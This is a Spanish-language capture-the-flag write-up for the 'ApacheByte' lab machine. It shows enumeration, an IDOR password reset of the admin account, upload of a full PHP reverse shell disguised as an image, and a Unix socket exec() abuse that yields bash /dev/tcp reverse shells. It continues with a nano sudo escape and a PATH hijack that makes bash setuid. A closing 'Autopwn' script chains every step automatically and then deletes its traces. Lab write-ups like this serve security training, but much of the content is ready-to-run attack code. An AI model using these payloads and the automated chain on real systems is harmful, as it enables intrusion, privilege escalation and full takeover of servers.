> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-medio/apachebyte-write-up.md).

# ApacheByte write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/0QZbXPoPghcGyn0OpX4T" alt=""><figcaption></figcaption></figure>

## **Escaneo de puertos abiertos y explotación de vulnerabilidades**

Utilizamos **Nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```

<figure><img src="/files/IUaJv5hasVYrkrBSZsrd" alt=""><figcaption></figcaption></figure>

El escaneo indica que el puerto 22 (SSH) y el 80 (HTTP) están abiertos. Así que ingresamos la IP de la máquina víctima en el navegador.

<figure><img src="/files/wcB5wameFB88vXA7Vk34" alt=""><figcaption></figcaption></figure>

En el puerto 80 se encuentra una red social que permite la publicación de posts. Actualmente, solo hay un post disponible, la cual ha sido publicada por un usuario llamado `manager`, quien probablemente sea el administrador del sitio. Así que lo que haremos será registrarnos e iniciar sesión en la página. Una vez hecho esto, aparecerá la opción de `Cuenta` en la ruta home.

<figure><img src="/files/RQxzvZnaiBPQHkgaowOj" alt=""><figcaption></figcaption></figure>

Si hacemos clic en esa opción veremos lo siguiente:

<figure><img src="/files/mCYyWRtviBu8um9czcZC" alt=""><figcaption></figcaption></figure>

Observamos un formulario para subir un avatar y otro formulario para cambiar la contraseña de la cuenta. Así que ahora lo que haremos será hacer una petición para cambiar la contraseña, pero capturando la petición con **Burpsuite**.

<figure><img src="/files/VFbAjEnGNjLd894qoBlM" alt=""><figcaption></figcaption></figure>

Esto indica que para cambiar la contraseña de la cuenta se está usando el username y el id de la cuenta. Por lo que intentaremos cambiar la contraseña del usuario `manager`, para así poder iniciar sesión. Primero usaremos la herramienta llamada **Dirb** para enumerar las rutas ocultas.

```bash
dirb http://172.17.0.2/
```

<figure><img src="/files/gvoRUkMG3M7bdvKvobZt" alt=""><figcaption></figcaption></figure>

La herramienta enumera la ruta `/uploads`, la cual, al ser accedida desde el navegador, muestra un listado de archivos y directorios:

<figure><img src="/files/XSR3lZVbNnPGh84YJXRn" alt=""><figcaption></figcaption></figure>

Podemos observar que `/uploads` tiene habilitado el *directory listing*, y dentro de ella se encuentra la carpeta `avatars`. Al ingresar en `avatars`, se muestra una imagen cuyo nombre parece corresponder a un ID. Para confirmar esta hipótesis, procedemos a subir un avatar desde nuestra cuenta:

<figure><img src="/files/14QCmC6iIAg45PGRxKqS" alt=""><figcaption></figcaption></figure>

Tras subir la imagen, verificamos que el nombre del archivo coincide exactamente con nuestro ID de usuario. Esto nos permite concluir que los nombres de los avatares corresponden a los identificadores de usuario. En consecuencia, deducimos que el ID del usuario `manager` es `5597527595641235`. Por lo tanto, si ahora capturamos la petición al cambiar la contraseña, y modificamos el campo `username` e `id`, estaremos cambiando la contraseña del usuario `manager`:

<figure><img src="/files/DL7q2W5c2oC2J2zywTl7" alt=""><figcaption></figcaption></figure>

A este tipo de vulnerabilidad se le llama **Insecure Direct Object Reference**, ocurre cuando no se valida de manera correcta si un usuario tiene permisos para modificar un recurso o acceder a él.

Si ahora intentamos iniciar sesión como el usuario `manager`, utilizando la contraseña que establecimos previamente, observamos que el acceso se realiza correctamente.

<figure><img src="/files/HcwbigQewC75qRNZXfUD" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/amAaFMDDGGuDXO7YfTtf" alt=""><figcaption></figcaption></figure>

Además, observamos que en el **menú de navegación** aparece la opción `Dashboard`, por lo que procedemos a hacer clic en ella.

<figure><img src="/files/ON8yX6uLnAuwWhAOJToj" alt=""><figcaption></figcaption></figure>

Observamos un menú, en el cual se administran las publicaciones. También contemplamos que tenemos la opción de subir imágenes, si seleccionamos una imagen, aparecerá lo siguiente:

<figure><img src="/files/8YBDQXUAfaFjJjkovJb3" alt=""><figcaption></figcaption></figure>

Esto indica que lo que se está haciendo subir la imagen en la ruta `posts/uploads/shinki`, sin la extensión de la imagen, y añade una etiqueta html en la ruta `home`. Así que lo que haremos será crear un archivo malicioso llamado `shell.php.jpg` y lo subiremos. El archivo tendrá el siguiente código:

```php
<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '172.17.0.1';  // CHANGE THIS
$port = 444;       // CHANGE THIS
$chunk_size = 1400;
$shell = 'uname -a; w; id; /bin/bash -i';
$contador = 0;
$debug = 0;
$daemon = 0;
$welcome_message = "  \033[1;34m_____   _   _   _____   _   _   _  __  _____   
 / ____| | | | | |_   _| | \ | | | |/ / |_   _|  
| (___   | |_| |   | |   |  \| | | ' /    | |    
 \___ \  |  _  |   | |   | . ` | |  <     | |    
 ____) | | | | |  _| |_  | |\  | | . \   _| |_   
|_____/  |_| |_| |_____| |_| \_| |_|\_\ |_____|  \033[0m\n";

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);


// Mostrar mensaje de bienvenida a la shell

fwrite($sock, $welcome_message);



while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

    $read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}

}
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>
```

Si ahora lo subimos observaremos lo siguiente:

<figure><img src="/files/yxYHvXSRoAb7kuRehZeu" alt=""><figcaption></figcaption></figure>

Esto indica que el archivo se estaría guardando como `shell.php`, por lo que si subimos el archivo, nos ponemos en escucha por el puerto `444` e ingresamos la ruta <http://172.17.0.2/posts/uploads/shell.php> en el navegador, obtendremos una shell interactiva.

<figure><img src="/files/Evyw7v3m05POaTwppeeI" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios**

Una vez dentro de la máquina víctima como usuario `www-data`, encontramos el archivo `/var/backups/socket.zip`, así que lo descomprimimos.

```bash
unzip /var/backups/socket.zip
```

Una vez descomprimido, encontramos el archivo `socket_server.py`, en cual contiene lo siguiente:

```python
import socket
import os

sock_path = "/tmp/dev.sock"
if os.path.exists(sock_path):
    os.remove(sock_path)

server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
server.bind(sock_path)
os.chmod(sock_path, 0o777)
server.listen(1)

while True:
    try:
        conn, _ = server.accept()
        data = conn.recv(2048)

        if data:
            try:
                exec(data.decode(), {"__builtins__": __builtins__})
                conn.send(b"Executed.\n")
            except Exception as e:
                conn.send(str(e).encode())

        conn.close()
    except:
        break

server.close()
```

Observamos que este script crea un socket tipo UNIX, que ejecuta el código python que el enviemos. Si ahora ejecutamos el comando `ps aux | cat`, se muestra lo siguiente:

```
ps aux | cat
```

<figure><img src="/files/VewZc4DZdC3iOzNulKuZ" alt=""><figcaption></figcaption></figure>

Esto indica que se está ejecutando el script como el usuario `juan`. Así que vamos a crear el archivo `/tmp/payload` que contendrá lo siguiente:

```bash
cat > /tmp/payload << 'EOF'
import os

os.system("bash -c 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'")
EOF
```

Y ahora, compartiremos el programa llamado **socat** desde nuestra máquina a la máquina víctima.

En la máquina víctima ejecutamos lo siguiente:

```bash
nc -nlvvp 4444 > socat
```

En nuestra máquina:

```bash
bash -c "cat /bin/socat >& /dev/tcp/172.17.0.2/4444"
```

<figure><img src="/files/w8BsjqD9ZnkJS4R0DCTQ" alt=""><figcaption></figcaption></figure>

A continuación, nos pondremos en escucha por el puerto 4444, ejecutamos lo siguiente:

```bash
cat payload | ./socat - UNIX-CONNECT:/tmp/dev.sock
```

<figure><img src="/files/4syyybEPU5EGspj5Fasu" alt=""><figcaption></figcaption></figure>

Una vez somos el usuario `juan`, ejecutamos el comando `sudo -l`, el cual indica que podemos ejecutar el binario `/bin/nano` como usuario `alex`.

<figure><img src="/files/KLHHD7I5W05ZUEa4T4L2" alt=""><figcaption></figcaption></figure>

Así que ejecutamos nano como el usuario `alex` de la siguiente manera:

```bash
sudo -u alex nano 
```

Y ahora presionamos la teclas `Ctrl + R` y luego `Ctrl + X` y finalizamos escribiendo el siguiente comando:

```bash
reset; bash 1>&0 2>&0
```

<figure><img src="/files/LEAeIpcwkvHCwjkDDQQ0" alt=""><figcaption></figcaption></figure>

Ahora ejecutamos otra vez el comando `reset` y habríamos obtenido una shell como usuario `alex`.

Una vez somos el usuario `alex`, ejecutamos el comando `sudo -l`, el cual indica que podemos ejecutar el binario `/usr/local/bin/report_tool` como usuario `root`.

<figure><img src="/files/YCHqAayf65g1pbd4xEfq" alt=""><figcaption></figcaption></figure>

El binario, `usr/local/bin/report_tool`, hace lo siguiente:

<figure><img src="/files/oiu6oOau8XW1oJOu73A2" alt=""><figcaption></figcaption></figure>

Básicamente, lo que hace es comprobar si existe el fichero `./report_tool.conf`, después carga el contenido del fichero y busca la variable `$OVERRIDE_PATH`, para luego agregar la ruta al path y después ejecutar el comando `date`. Así que vamos a crear el archivo `/tmp/date` que contenga lo siguiente (Importante darle permisos de ejecución):

```bash
cat > /tmp/date << 'EOF'
#!/bin/bash

chmod 4777 /bin/bash
EOF
```

Después, crearemos el archivo `/tmp/report_tool.conf` de la siguiente forma:

```bash
cat > /tmp/report_tool.conf << 'EOF'
OVERRIDE_PATH="/tmp"
EOF
```

Si ahora nos situamos en el directorio `/tmp` y ejecutamos lo siguiente:

```bash
sudo report_tool
```

<figure><img src="/files/OaOaet9MEebz7Y5IuZ7d" alt=""><figcaption></figcaption></figure>

Podemos observar que a funcionado correctamente. Por lo que si ejecutamos `bash -p`, obtendremos una shell con privilegios elevados.

<figure><img src="/files/ZAWkOgA4eEnkMLh63GBK" alt=""><figcaption></figcaption></figure>

## **Autopwn**

```python
import os
import time
import subprocess
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC

def crear_shell():

    print("[+] Creando shinki.php...")
    
    contenido = """<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '172.17.0.1';  // CHANGE THIS
$port = 444;       // CHANGE THIS
$chunk_size = 1400;
$shell = 'uname -a; w; id; /bin/bash -i';
$contador = 0;
$debug = 0;
$daemon = 0;
$welcome_message = "  \033[1;34m_____   _   _   _____   _   _   _  __  _____   
 / ____| | | | | |_   _| | \ | | | |/ / |_   _|  
| (___   | |_| |   | |   |  \| | | ' /    | |    
 \___ \  |  _  |   | |   | . ` | |  <     | |    
 ____) | | | | |  _| |_  | |\  | | . \   _| |_   
|_____/  |_| |_| |_____| |_| \_| |_|\_\ |_____|  \033[0m\n";

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);


// Mostrar mensaje de bienvenida a la shell

fwrite($sock, $welcome_message);



while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

    $read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}

}
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>  
"""

    with open("shinki.php.jpg", "w") as f:
        f.write(contenido)
    print("[+] Archivo script.exp creado correctamente.")
    os.system("chmod 0777 shinki.php.jpg")

def subir_shell():

    print("[+] Subiendo archivo shinki.php.jpg")

    options = Options()
    options.add_argument("--headless")
    driver = webdriver.Chrome(options=options)

    driver.get("http://172.17.0.2/login.php")

    time.sleep(3)

    username_input = driver.find_element(By.NAME, "username")

    username_input.send_keys("manager")

    time.sleep(1)

    password_input = driver.find_element(By.NAME, "password")

    password_input.send_keys("G7#kLp!9zWx@2RfQ")

    time.sleep(1)

    driver.execute_script("document.querySelector('button[type=\"submit\"]').click();")

    time.sleep(1)

    driver.execute_script("document.querySelector('a[href=\"dashboard.php\"]').click();")

    time.sleep(1)

    driver.execute_script("document.querySelector('a[id=\"create-post-btn\"]').click();")

    time.sleep(1)

    input_archivo = driver.find_element(By.ID, "create-image-input")

    ruta_absoluta = os.path.abspath("shinki.php.jpg")

    input_archivo.send_keys(ruta_absoluta)

    time.sleep(1)

    driver.execute_script("document.querySelector('button[name=\"create_post\"]').click();")

def crear_script_expect():

    print("[+] Creando script1.exp...")
    
    contenido = """#!/usr/bin/expect
set timeout 1

spawn zsh

expect "$ "
send {while true; do curl http://172.17.0.2/posts/uploads/shinki.php ; sleep 1 ; done}

expect "$ "
send " \r"

interact
"""

    with open("script1.exp", "w") as f:
        f.write(contenido)
    print("[+] Archivo script.exp creado correctamente.")
    os.system("chmod 0777 script1.exp")

def iniciar_escucha():

    print(f"[+] Iniciando script...")
    listener = subprocess.Popen(["gnome-terminal", "--", "./script1.exp"])

    time.sleep(1)

    win_id = subprocess.check_output(["xdotool", "search", "--class", "gnome-terminal"]).splitlines()[-1]
    subprocess.run(["xdotool", "windowminimize", win_id])

    return win_id

def crear_script_expect2():

    print("[+] Creando script2.exp...")
    
    contenido = """#!/usr/bin/expect
set timeout 1

spawn zsh

expect "# "
send "nc -nlvvp 444\r"

expect "# "
send "script /dev/null -c bash\r"

expect "# "
send {cat > /tmp/payload << 'EOF'
import os

os.system("bash -c 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'")
EOF}

expect "# "
send "\r"

expect "# "
send "cd /tmp\r"

expect "# "
send "nc -nlvvp 4444 > socat\r"

set timeout 10

expect "# "
send "chmod 0777 socat\r"

set timeout 5

expect "# "
send "cat payload | ./socat - UNIX-CONNECT:/tmp/dev.sock\r"
interact
"""

    with open("script2.exp", "w") as f:
        f.write(contenido)
    print("[+] Archivo script.exp creado correctamente.")
    os.system("chmod 0777 script2.exp")


def iniciar_escucha2():

    print(f"[+] Iniciando script...")
    listener = subprocess.Popen(["gnome-terminal", "--", "./script2.exp"])

    time.sleep(1)

    win_id2 = subprocess.check_output(["xdotool", "search", "--class", "gnome-terminal"]).splitlines()[-1]
    subprocess.run(["xdotool", "windowminimize", win_id2])

    return win_id2

def crear_script_expect3():

    print("[+] Creando script3.exp...")
    
    contenido = """#!/usr/bin/expect
set timeout 1

spawn zsh

expect "# "
send "nc -nlvvp 4444\r"

expect "# "
send "script /dev/null -c bash\r"

set timeout 10

expect "# "
send "stty raw -echo;fg\r"

expect "# "
send "reset xterm\r"

set timeout 5

expect "# "
send "export TERM=xterm && export SHELL=bash\r"

expect "# "
send "sudo -u alex nano\r"

expect "# "
send "\x12"

expect "# "
send "\x18"

expect "# "
send {reset ; bash 1>&0 2>&0}
interact
"""

    with open("script3.exp", "w") as f:
        f.write(contenido)
    print("[+] Archivo script.exp creado correctamente.")
    os.system("chmod 0777 script3.exp")

def iniciar_escucha3():

    print(f"[+] Iniciando script...")
    listener = subprocess.Popen(["gnome-terminal", "--", "./script3.exp"])

    time.sleep(1)

    win_id3 = subprocess.check_output(["xdotool", "search", "--class", "gnome-terminal"]).splitlines()[-1]
    subprocess.run(["xdotool", "windowminimize", win_id3])

    return win_id3

def crear_script_expect4():

    print("[+] Creando script4.exp...")
    
    contenido = """#!/usr/bin/expect
set timeout 1

spawn zsh

expect "# "
send "nc -nlvvp 4445\r"

expect "# "
send "script /dev/null -c bash\r"

set timeout 10

expect "# "
send {cat > /tmp/date << 'EOF'
#!/bin/bash

chmod 4777 /bin/bash
EOF
}

expect "# "
send "\r"

set timeout 1

expect "# "
send {cat > /tmp/report_tool.conf << 'EOF'
OVERRIDE_PATH="/tmp"
EOF
}

expect "# "
send "\r"

expect "# "
send "cd /tmp\r"

expect "# "
send "chmod 0777 date\r"

expect "# "
send "sudo report_tool\r"

expect "# "
send "bash -p -i >& /dev/tcp/172.17.0.1/4446 0>&1\r"

interact
"""

    with open("script4.exp", "w") as f:
        f.write(contenido)
    print("[+] Archivo script4.exp creado correctamente.")
    os.system("chmod 0777 script4.exp")

def iniciar_escucha4():

    print(f"[+] Iniciando script...")
    listener = subprocess.Popen(["gnome-terminal", "--", "./script4.exp"])

    time.sleep(1)

    win_id4 = subprocess.check_output(["xdotool", "search", "--class", "gnome-terminal"]).splitlines()[-1]
    subprocess.run(["xdotool", "windowminimize", win_id4])

    return win_id4

def main():

    crear_shell()

    time.sleep(1)

    subir_shell()

    time.sleep(1)

    crear_script_expect()

    time.sleep(1)

    win_id = iniciar_escucha().decode('utf-8')

    time.sleep(1)

    crear_script_expect2()

    time.sleep(1)

    win_id2 = iniciar_escucha2().decode('utf-8')

    time.sleep(9)

    os.system("bash -c 'cat /bin/socat >& /dev/tcp/172.17.0.2/4444'")

    time.sleep(1)

    crear_script_expect3()

    time.sleep(7)

    win_id3 = iniciar_escucha3().decode('utf-8')

    time.sleep(5)

    output = subprocess.check_output("pgrep -f 'nc -nlvvp 4444'", shell=True, text=True)

    kill = output.split('\n')[0]

    os.system(f"kill -TSTP {kill}")

    time.sleep(60)

    os.system(f"xdotool windowactivate {win_id3} && xdotool key KP_Enter")

    time.sleep(1)

    crear_script_expect4()

    win_id4= iniciar_escucha4().decode('utf-8')

    os.system(f"xdotool windowactivate {win_id3} && xdotool type \"reset\" && xdotool key KP_Enter")

    os.system(f"xdotool windowactivate {win_id3} && xdotool type \"bash -i >& /dev/tcp/172.17.0.1/4445 0>&1\" && xdotool key KP_Enter")

    os.system("nc -nlvvp 4446")

    os.system(f"rm script1.exp script2.exp script3.exp script4.exp shinki.php.jpg; xdotool windowclose {win_id}; xdotool windowclose {win_id2}; xdotool windowclose {win_id3}; xdotool windowclose {win_id4}")
    

if __name__ == "__main__":

    main()
```
